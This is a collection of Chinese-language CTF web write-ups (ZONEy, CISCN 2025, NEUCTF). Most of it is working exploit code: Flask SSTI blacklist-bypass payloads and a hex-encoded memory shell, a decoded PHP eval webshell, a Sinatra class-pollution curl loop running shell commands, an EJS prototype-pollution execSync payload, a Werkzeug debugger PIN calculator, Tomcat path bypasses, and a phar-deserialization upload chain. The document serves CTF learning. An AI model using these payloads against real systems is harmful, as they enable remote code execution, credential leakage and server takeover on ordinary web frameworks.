            return false;  // 返回 false
        }
    }
 
    // 再次使用相同种子检查整个会话 ID 是否匹配
    mt_srand($seed);
    for ($i = 0; $i < strlen($session_id); $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
        if ($generated !== $session_id[$i]) {
            return false;
        }
    }
    return true;  // 如果全部匹配，返回 true
}
 
// 破解会话 ID，尝试找到正确的种子
function crack_session($session_id) {
    $ranges = [
        [0x41, 0x5A], // 字母 A-Z 的 ASCII 范围
        [0x30, 0x39], // 数字 0-9 的 ASCII 范围
        [0x20, 0x7E]  // 其他 ASCII 可打印字符
    ];
 
    // 尝试不同的字节组合（4 字节）
    foreach ($ranges as $range) {
        for ($a = $range[0]; $a <= $range[1]; $a++) {
            echo sprintf("Testing first byte: %c (0x%02x)\n", $a, $a);
            for ($b = $range[0]; $b <= $range[1]; $b++) {
                for ($c = $range[0]; $c <= $range[1]; $c++) {
                    for ($d = $range[0]; $d <= $range[1]; $d++) {
                        $seed = ($a << 24) | ($b << 16) | ($c << 8) | $d;  // 组合字节生成种子
                        if (check_seed($seed, $session_id)) {  // 检查该种子是否生成匹配的会话ID
                            return $seed;  // 返回匹配的种子
                        }
                    }
                }
            }
        }
    }
    return null;  // 如果未找到有效的种子，返回 null
}
 
// 初始化一个数组用来存储会话信息
$sessions = [];
 
// 处理命令行参数，如果有提供会话信息，则直接使用
for ($i = 1; $i < $argc; $i++) {
    if (preg_match('/^([0-9a-f]):(.+)$/', $argv[$i], $matches)) {
        $sessions[$matches[1]] = $matches[2];  // 将哈希前缀和会话ID存储
    }
}
 
// 如果没有提供会话信息，则使用预设的测试用户名进行会话ID的获取
if (empty($sessions)) {
    foreach ($test_inputs as $username => $hash_prefix) {
        echo "\nTrying username: $username (hash prefix: $hash_prefix)\n";
 
        $session_id = get_session_id($username);  // 获取会话 ID
        if (!$session_id) {
            echo "Failed to get session ID\n";  // 获取失败，跳过
            continue;
        }
 
        $sessions[$hash_prefix] = $session_id;  // 存储会话ID
    }
}
 
// 初始化一个数组用来存储 flag 的各个部分
$flag_parts = [];
 
// 针对每个会话，尝试破解其种子并恢复 flag
foreach ($sessions as $hash_prefix => $session_id) {
    echo "\nCracking session for hash prefix $hash_prefix\n";
    echo "Session ID: " . substr($session_id, 0, 30) . "...\n";
 
    $seed = crack_session($session_id);  // 破解会话，找到种子
 
    if ($seed !== null) {
        $bytes = pack('N', $seed);  // 将种子转换为字节
        echo "Found seed: 0x" . dechex($seed) . "\n";  // 输出种子的十六进制表示
        echo "Flag part: $bytes\n";
        echo "Hex: " . bin2hex($bytes) . "\n";  // 输出字节的十六进制值
 
        $pos = hexdec($hash_prefix);  // 将哈希前缀转换为十进制
        $flag_parts[$pos] = $bytes;  // 将该部分存储在 flag 数组中
    }
}
 
// 输出最终的 flag，如果有找到有效的 flag 部分
if (count($flag_parts) > 0) {
    echo "\nFlag:\n";
    echo implode("", $flag_parts);  // 拼接所有 flag 部分
    echo "\n";
}
?>

ZONEy

这个题是压轴题，跟着学习一下

我尝试使用 nc 连接 udp 没有什么作用，看了别人 wp 才知道考的 dns

先用 nmap 扫描确认是 dns 服务器

`1`	`nmap -p 5007 52.59.124.14 -sCV`

查一下 dns，指定查询类型为 A 记录。A 记录是用于将域名解析为 IPv4 地址的 DNS 记录。

dig @52.59.124.14 -p 5007 A www.ZONEy.eno  
 
; <<>> DiG 9.20.4-3-Debian <<>> @52.59.124.14 -p 5007 A www.ZONEy.eno
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7364
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.ZONEy.eno.                 IN      A
 
;; ANSWER SECTION:
www.ZONEy.eno.          7200    IN      CNAME   challenge.ZONEy.eno.
challenge.ZONEy.eno.    7200    IN      A       127.0.0.1
 
;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.
 
;; ADDITIONAL SECTION:
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1
 
;; Query time: 28 msec
;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP)
;; WHEN: Sat Feb 01 19:09:06 CET 2025
;; MSG SIZE  rcvd: 150

注意到 challenge.ZONEy.eno 指向 127.0.0.1，这是一个经典的 CTF 举措 — 将流量重定向回自身。这不是最终目的地，这意味着我必须进一步 NSEC-walk。

`1`	`dig @52.59.124.14 -p 5007 NSEC challenge.zoney.eno`

查到另一个子域名 hereisthe1337flag.zoney.eno，再查一下 TXT 记录

`1`	`dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno`

2025ciscn&长城杯web部分writeup

Thu, 02 Jan 2025 16:05:00 +0800

safe_proxy

from flask import Flask, request, render_template_string
import socket
import threading
import html
 
app = Flask(__name__)
 
 
@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>' + html.escape(f.read()) + '</pre>'
 
 
@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            print(black)
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'
 
 
class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port
 
    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break
 
            if not request_data:
                client_socket.close()
                return
 
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)
 
                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk
 
            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data
 
            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body
 
            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()
 
 
def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
 
    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()
 
 
def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)
 
 
if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000
 
    # 安全反代，防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()
 
    print("Starting Flask app...")
    run_flask_app()

无回显 ssti，有安全反代理，不出网，请求头回显也不能用

法 1

利用 flask 框架的 static 目录可以直接读的特点

1
2
3

mkdir staic
ls / > ./static/1.txt
cat /flag> ./static/1.txt

最终的 payload

`1`	`{{lipsum['_''_globals_''_']['_''_builtins_''_']['_''_imp''ort_''_']('o''s')['pop''en']('cat /flag >./static/1.txt').read()}}`

法 2

学弟的方法，app.py 也是可以直接写入的

法 3

胡哥的内存马，直接上 payload（16 进制绕过），我当时的老版内存马没有打通，貌似需要使用新版的

{{(url_for|attr('_' '_globals_' '_'))['_' '_builtins_' '_']['ev' 'al'](0x7379732e6d6f64756c65735b275f5f6d61696e5f5f275d2e5f5f646963745f5f5b27617070275d2e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d6264613a205f5f696d706f72745f5f28276f7327292e706f70656e285f5f696d706f72745f5f2827666c61736b27292e726571756573742e617267732e6765742827612729292e72656164282929.to_bytes(170,'big'))}}

hello_web

学弟写的 wp:
进入网页，f12 查看到两条注释

1
2

<!-- ../hackme.php -->
<!-- ./tips.php  -->

尝试把 url 中的 ?file=hello.php 改为 ?file=../hackme.php 未果，加了几个 ../ 还是不行。

推测出 php 程序对输入的字符串做了处理，删掉了所有 ../

输入 ?file=..././hackme.php （在 ../ 中再多写一个 ../ 以避免被替换掉）得到如下代码：

<?php
highlight_file(__FILE__);
 
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
# n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
 
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
 
$YwzIst .= $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
 
eval($YwzIst(
    "JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="
));
?>

盲猜下面一坨字符串是 basae64 编码，解码之后得出

1
2

$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));

新版 php 不能用花括号访问字符串索引，于是找个旧版 php 跑一下，得到 $OxirhK 是 strtr，$YpAUWC 是 substr，$rVkKjU 是 52，合理推测 $YwzIst 是 base64_decode。

替换到解码的代码中，得出

`1`	`eval('?>'.base64_decode(strtr(substr($uWcdaA,52*2),substr($uWcdaA,52,52),substr($uWcdaA,0,52))));`

?><?php @eval($_POST['cmd_66.99']); ?>

使用蚁剑工具，url 输入（题目 url），密码为 cmd[66.99（非法字符串的传参问题，结合 tips.php 的 phpinfo 是 php7.4）。

https://blog.csdn.net/mochu7777777/article/details/115050295

连接之后打开终端发现一直爆 127 错误码，推测有函数被禁用。装载绕过 disabled_functions 的插件，运行。

find / -name flag* 拿到 flag。

ezruby

全场唯一解，胡哥 yyds，直接贴上 wp，我还没有完全消化

按照下文里的办法

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

可以任意污染 Class（概率）中的属性

题目要求 RCE，再加上存在 erb 模板渲染，于是找到

https://github.com/sinatra/sinatra/blob/7b50a1bbb5324838908dfaa00ec53ad322673a29/lib/sinatra/base.rb#L903

其中的 Sinatra::Base::settings 绑定到全局的 class 而非 instance 上，刚好满足利用情况

注意这里还需要再在 Base 的子类里找到 JSONMergerApp，settings 才能生效

调试一下能发现，总共获取了两次 data，第一次是 hello，第二次 layout 刚好绕过 h 的黑名单

body 就是模板内容了，直接执行系统命令即可。

for i in {1..10000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"subclasses":{"sample":{"settings":{"templates":{"layout":["<%= `ls -al /; cat /*flag*` %>","111",1]}}}}}}}}}}' http://ip:port/merge; done

若在一分钟内无法成功（概率），则可能需要重启容器继续尝试。

NEUCTF Web Round-2 总结

Thu, 19 Sep 2024 23:25:00 +0800

Middleware Security

总体思路：

tomcat 对分号有解析差，也就是说..;/ 会被解析成../

参考链接：https://blog.csdn.net/qq_41891666/article/details/110392483

了解这一点之后，再来看一下源码

@RestController
public class DemoController {
    static String flag = "";
 
    static {
        try {
            flag = new String(Files.readAllBytes(Paths.get("/flag")));
        } catch (IOException var1) {
            IOException e = var1;
            e.printStackTrace();
        
 
    }
 
    public DemoController() {
    }
 
    @GetMapping({"/hello"})
    public String hello() {
        return "Hello World!";
    }
 
    @GetMapping({"/admin"})
    public String admin(HttpServletRequest request) throws Exception {
        System.out.println(request.getRequestURI());
        String[] var5;
        int var4 = (var5 = new String[]{"admin", ".."}).length;
 
        for(int var3 = 0; var3 < var4; ++var3) {
            String block = var5[var3];
            if (request.getRequestURI().contains(block)) {
                return "Shall not pass!";
            }
        }
 
        return "You shall pass! " + flag;
    }
}

大致意思就是有 hello 和 admin 两个路由，，访问到 admin 并绕过黑名单检查就会得到 flag，这个题和别的目录穿越不一样，是横向的目录穿越（半天没反应过来还是问的别人），是通过 hello 跳到根目录再跳到 admin 路由，payload 如下：

`1`	`/hello/..;/admin`

但只是绕过了 tomcat 的检查还需要再 url 编码一下绕过 springboot 的 getRequestURI () 的检查

`1`	`/hello/%2e%2e;/%61%64%6d%69%6e`

还有一个问题，我使用 hackbar 发包的时候 %2e%2e 不知道为啥自动解析成.. 了，用 burp 发包就没问题

File Browser

总体思路

打开就是一些目录，但是不全，用 dirsearch 扫到了一个 /console 路由没见过，打开看看

搜了一下 pin 码，发现是 python flask 框架下的考点，必须找出来 6 个参数，然后再用脚本计算出 pin 码，找到这些参数，光页面这些文件是不够的，这就到了这道题的第一个考点：路径遍历，不过往常的路径遍历都是有一个注入参数的而这个题是直接在网址后面输入../../，但是你输入会发现会被自动纠正没了，所以 url 编码一下..%2f..%2f，剩下就简单了，照葫芦画瓢就可以了

username 看 /etc/passwd

modname 和 appname 一般都是默认的

moddir 一般都是通过报错获得的，而这道题可以读自然就可以慢慢找到是 /usr/local/lib/python3.12/site-packages/flask/app.py

uuidnode mac 就是读取网卡的 mac 地址（有的脚本需要你自己转 10 进制，我这个不需要），/sys/class/net/eth0/address，有时候可能不是 eth0，读不到可以先列一下 /sys/class/net/ 目录

最后一部分就是 machine_id，这部分可能有点小麻烦，如果能读 /usr/local/lib/python3.12/site-packages/werkzeug/debug/init.py，最好是先读一下他，第一算法可能使用的是 md5 或 sha1，本题使用的是 sha1（新版本）

第二是这段代码

def _generate() -> str | bytes | None:
        linux = b""
        # machine-id is stable across boots, boot_id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue
            if value:
                linux += value
                break
 
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

先读 /etc/machine-id，如果读到了就不需要 /proc/sys/kernel/random/boot_id，没读到 /etc/machine-id 就需要读 /proc/sys/kernel/random/boot_id，接着是读 /proc/self/cgroup（有时 self 也可能是 [pid]，多试几个数），cgroup 有时候也可能被过滤，访问不到（注意是访问不到，不是访问到了没东西），可以考虑 mountinfo 和 cpuset，将两部分拼接到一起就是最后一部分。

但是本题不一样，/proc/self/cgroup 访问到了，但是没东西，所以 machine_id 只有一部分

参考链接：https://blog.csdn.net/qq_35782055/article/details/129126825

最后上一下计算 pin 码的脚本

import hashlib
from itertools import chain
import argparse
 
 
 
def getMd5Pin(probably_public_bits, private_bits):
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
 
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                              for x in range(0, len(num), group_size))
                break
        else:
            rv = num
 
    return rv
 
def getSha1Pin(probably_public_bits, private_bits):
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
 
    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
 
    rv = None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x: x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
 
    return rv
 
def macToInt(mac):
    mac = mac.replace(":", "")
    return str(int(mac, 16))
 
if __name__ == '__main__':
    parse = argparse.ArgumentParser(description = "Calculate Python Flask Pin")
    parse.add_argument('-u', '--username',required = True, type = str, help = "运行flask用户的用户名")
    parse.add_argument('-m', '--modname', type = str, default = "flask.app", help = "默认为flask.app")
    parse.add_argument('-a', '--appname', type = str, default = "Flask", help = "默认为Flask")
    parse.add_argument('-p', '--path', required = True, type = str, help = "getattr(mod, '__file__', None):flask包中app.py的路径")
    parse.add_argument('-M', '--MAC', required = True, type = str, help = "MAC地址")
    parse.add_argument('-i', '--machineId', type = str, default = "", help = "机器ID")
    args = parse.parse_args()
 
    probably_public_bits = [
        args.username,
        args.modname,
        args.appname,
        args.path
    ]
 
    private_bits = [
        macToInt(args.MAC),
        bytes(args.machineId, encoding = 'utf-8')
    ]
    md5Pin = getMd5Pin(probably_public_bits, private_bits)
    sha1Pin = getSha1Pin(probably_public_bits, private_bits)
 
    print("Md5Pin:  " + md5Pin)
    print("Sha1Pin:  " + sha1Pin)

参考链接：https://xz.aliyun.com/t/11647?time__1311=Cq0xRQiQe7qDqGX7877qi%3DGCDuGgt87io4D

进入控制台后就可以进行命令执行了

Bible Reader

这题我主要就是照着王哥的 wp 打的，顺便学习一下原型链污染的姿势：Bible-Reader

整体思路：

0x01 文件任意读

漏洞存在于这部分的代码，可以看到 version 的部分是可控的

app.get('/download/:version', (req, res) => {
    const { version } = req.params;
    const filePath = path.join(__dirname, 'texts', `${version}`);
 
    fs.access(filePath, fs.constants.F_OK, (err) => {
        if (err) {
            return res.status(404).send('File not found');
        }
  
        res.download(filePath, `bible-${version}`, (err) => {
            if (err) {
                res.status(500).send('Error in downloading file');
            }
        });
    });
});

这里还涉及到一个动态路由解析的问题：https://www.bytezonex.com/archives/Rs5OQBMk.html

测试一下

const { pathToRegexp } = require('path-to-regexp');
const keys = [];
const regexp = pathToRegexp('/download/:version', keys);
console.log(regexp); // 输出正则
console.log(keys);   // 输出参数信息

说人话就是只能匹配一个 /，所以我们拼接的路径要 url 编码一下

0x02 Admin token

要想污染必须先拿到这个 token

这个 token 是在后台有输出的

`1`	console.log(`Admin token (only printed once in the console): ${appUUID}`);

提示里说注意启动方式，以非守护进程启动的话，会把输出打印在控制台上，进而存在日志中，那我们前面的任意读就有用了，只需要找到所在位置就可以

在这里因为是 app 身份启动，所以在 /home/app/.pm2/logs/app-out.log（可以本地起个 docker 进后台看翻一下）

0x03 原型链污染

先看一下可利用的位置

app.post('/api/settings', authenticate, (req, res) => {
    const {version, ...newSettings} = req.body;
    Object.assign(bibleSettings[version], newSettings);
    res.json({message: 'Settings updated'});
});

Object.assign 将 source 对象的属性合并到 target 对象中（类似于 merge）。这里表示将 newSettings 中的属性合并到 bibleSettings[version] 中。

结合 ejs 模板引擎，我们很容易想到利用 outputFunctionName（可以去看看 ctfshow web342&343），但是胡哥出题哪能那么套路化，这个洞已经被修复了。

于是又 get 到新的姿势：https://blog.z3ratu1.top/hxpCTF2022wp.html，利用 escapeFunction

再借用一下王哥 wp 的图：

最终 payload:

{
  "version": "__proto__",
  "escapeFunction": "1;return process.mainModule.require('child_process').execSync('/readflag')",
  "client": true,
  "compileDebug": false,
  "async": false
}

去 /api/settings 发包，再访问 /settings 触发 render 函数即可得到 flag

goblog

总体攻击链：

注册用户名 {{.}} =>follow admin=> 利用 uint32 溢出转换使 (uint32) uid = 1 且通过 isSystemUser (int) 的判断 => 查看 admin 的 profile 触发 SSTI=> 获得 admin 的 MD5 密码 => 解密 md5 登录为 admin

0x01 go_ssti

go 的模板注入不同于其他的语言，大部分是用来泄露信息的，而不是进行代码注入。tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染，第一个参数传入的是一个 Writer 对象，后面是一个上下文，在模板字符串中，可以使用 {{ . }} 获取整个上下文，或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数，也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。

看一下源代码的模板位置（/controller/profile.go）

tmpl := template.New("") // 创建新的模板实例
 
body := "Profile of user {{.Username}}:\nID: %v\nBio.: {{.Bio}}\nFollowers:\n" // 定义模板内容
 
for _, follower := range followers { // 遍历关注者列表
    username := follower.Username
    id := follower.Id
 
    if id != token.UserId { // 如果关注者 ID 不是当前用户，则隐藏用户名
        username = "***"
    }
 
    body += fmt.Sprintf("%v (%v)\n", username, id) // 将格式化的关注者信息添加到模板字符串
}
 
t := fmt.Sprintf(body, uid) // 格式化模板字符串，将 `uid` 作为 ID 进行替换
tmpl, err = tmpl.Parse(t) // 解析模板
 
if err != nil {
    return c.JSON(view.UserProfileResponse{
        BaseResponse: view.BaseResponse{
            Success: false,
            Message: "Failed to parse template",
        },
    })
}
 
var out bytes.Buffer
err = tmpl.Execute(&out, user) // 使用模板渲染数据

注意到body += fmt.Sprintf("%v (%v)\n", username, id)，这个 username 会拼接到 body，如果关注者的 username 是”{{.}}”，那么在解析模板时，这个部分会被当作一个动作，执行时会输出整个当前上下文的数据结构，会泄露 admin 敏感信息。

0x02 整数溢出

1
2
3

func isSystemUser(uid int) bool {
	return uid < 1000
}

我们直接看 admin 的 profile 是不被允许的

所以要通过溢出来绕过，4294967297 是 uint32 的最大值 4294967295 加上 2，因此当它被转换为 uint32 时，会发生溢出。

泄露了 admin 密码的 md5 解密即可

Two-Lines Challenge

代码很简单，但是利用起来很不容易，一环扣一环，每一步都要很仔细。

1
2
3

<?php
class Evil { function __destruct() { eval($this->nothing); } }
symlink($_GET['file'] ?? __FILE__, $file=uniqid('/tmp/',true).'.tmp') && highlight_file($_GET['file1'] ?? $file);

创建了一个 Evil 类，其 __destruct 方法会执行 $this->nothing 的 eval() 代码，然后创建一个指向指定文件的符号链接，并高亮显示另一个指定的文件内容。

总体攻击链：

令 file=sess_( 可以代表任何东西) 创建一个不存在的 sess_*=>highlight_file 会泄露创建的软连接的 tmp 文件路径 => 利用 tar 处理 phar 头尾脏数据 => 利用 php_session_upload_progress 漏洞上传 tar 文件 => 令 file1 = 刚才泄露的文件进行 phar 反序列化 =>rce

0x01 创建 sess_sess 文件

url?file=sess_sess

这个 tmp 后缀的文件是软连接于 sess_sess 的，利用的是如果文件不存在 highlight_file () 会报错泄露文件路径

0x02 php_session_upload_progress 漏洞

参照：https://xi4or0uji.github.io/2018/10/25/hitcon-2018-One-Line-PHP-Challenge/

这种特殊的上传方式可以控制文件名（sess_*）和文件的内容

0x03 构造 phar

我们从上图可以看到 upload_progress_后面这一小部分是可控的，这一小部分我们就可以传入 phar 的内容，所以到这里这个题就转化了含有头尾脏数据的 phar 反序列化。如何处理呢？参照：https://boogipop.com/2023/07/08/Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%85%B6%E4%B8%80%E7%B3%BB%E5%88%97%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7/

先在本地测试一下

<?php
class Evil {
    function __destruct() { eval($this->nothing); }
}
 
$a=new Evil();
$a->nothing = 'system("ls");'; // 恶意代码
//前面的脏数据
$dirtydata = "upload_progress_";
 
 
$phar = new PharData(dirname(__FILE__) . "/phar.tar", 0, "phartest", Phar::TAR);
$phar->startBuffering();
$phar->setMetadata($a);
//下面$dirtydata是可以自定义的
$phar->addFromString($dirtydata , "test");
$phar->stopBuffering();
$exp = file_get_contents("./phar.tar");
$post_exp = substr($exp, strlen($dirtydata));
$exp = file_put_contents("./break_phar.tar",$post_exp);
?>

<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
class Evil {
    function __destruct() { eval($this->nothing); }
}
$dirty="test0000000000000000000";
$front="upload_progress_";
$old=file_get_contents("./break_phar.tar");
$new=$front.$old.$dirty;
file_put_contents("./new.tar",$new);
highlight_file("phar://D:/CTF/nex_temp/two-line-challenge/new.tar")
?>

可以看到，虽然有报错，但是还是成功反序列化了

实际上我们要传的就是 break_phar.tar 这个文件，传到服务器上，和头部和尾部的脏数据拼接。

0x04 上传 tar 文件

import requests
 
# 直接读取文件的二进制内容
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
    php_session_upload_progress = f.read()  # 不进行 URL 编码，直接保留原始二进制
 
# 目标 url
url = ""
cookies = {"PHPSESSID": "sess"}
 
# 设置 `files` 参数
with open("/home/kali/Desktop/break_phar.tar", "rb") as f:
    files = {
        "PHP_SESSION_UPLOAD_PROGRESS": (None, php_session_upload_progress),  # 直接传二进制
        "file": ("break_phar.tar", f, "application/octet-stream")  # 作为文件上传
    }
 
    # 发送 POST 请求
    response = requests.post(url, cookies=cookies, files=files)
 
    # 输出服务器响应
    print("Status Code:", response.status_code)
    print("Response Text:", response.text)

因为我们走的不是正常的文件上传流程，所以需要读取文件的数据，然后再上传

0x05 phar 反序列化

url?/file1=phar:///tmp/xxxxx.tmp（刚才泄露的路径）

注意路径要写完整，可以看到反序列化成功了